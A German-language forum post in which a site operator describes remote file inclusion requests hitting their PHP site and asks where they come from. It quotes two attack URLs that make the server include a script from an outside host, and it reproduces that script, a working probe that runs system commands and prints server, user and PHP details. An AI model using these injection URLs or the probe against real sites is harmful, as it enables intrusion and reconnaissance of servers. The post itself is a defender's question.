nicht angemeldet
Hallo,
seit einigen Tagen erhält eine von mir entwickelte und betreute Website spezielle Code-Injection Aufrufe in der Form:
http://www.meine-website.tld/index.php?page=http://www.victor-international.com/images/text/safe1.txt???
Auch andere URLs wurden verwendet, der Inhalt der Datei ist jedoch bis auf eine Textausgabe identisch.
Bsp:
http://rsb.provincia.brescia.it/hosted/rovatogigli/sa.txt???
Normalerweise übergebe ich bei 'page' die Seite, welche angezeigt werden soll, sprich includiert wird. Natürlich überprüfe ich den übergebenen Parameter, ob dies wirklich einer Seite der Homepage entspricht.
Die safe1.txt und die sa.txt (man findet weitere Dateinamen wenn man danach g**gelt) dient offensichtlich der Beschaffung von Webserver-Informationen die evtl. für Angriffe auf den Webspace genutzt werden könnten.
Ist näheres bekannt, welchem Zweck dies dient bzw. woher diese Aufrufe kommen?
Kommt dies evtl. von einem Bot-Netzwerk?
Der Inhalt der Textdateien:
<?
echo "BraT<br>";
$alb = @php_uname();
$alb2 = system(uptime);
$alb3 = system(id);
$alb4 = @getcwd();
$alb5 = getenv("SERVER_SOFTWARE");
$alb6 = phpversion();
$alb7 = $_SERVER['SERVER_NAME'];
$alb8 = gethostbyname($SERVER_ADDR);
$alb9 = get_current_user();
$os = @PHP_OS;
echo "os: $os<br>";
echo "uname -a: $alb<br>";
echo "uptime: $alb2<br>";
echo "id: $alb3<br>";
echo "pwd: $alb4<br>";
echo "user: $alb9<br>";
echo "phpv: $alb6<br>";
echo "SoftWare: $alb5<br>";
echo "ServerName: $alb7<br>";
echo "ServerAddr: $alb8<br>";
echo "0wnW4y<br>";
exit;
?>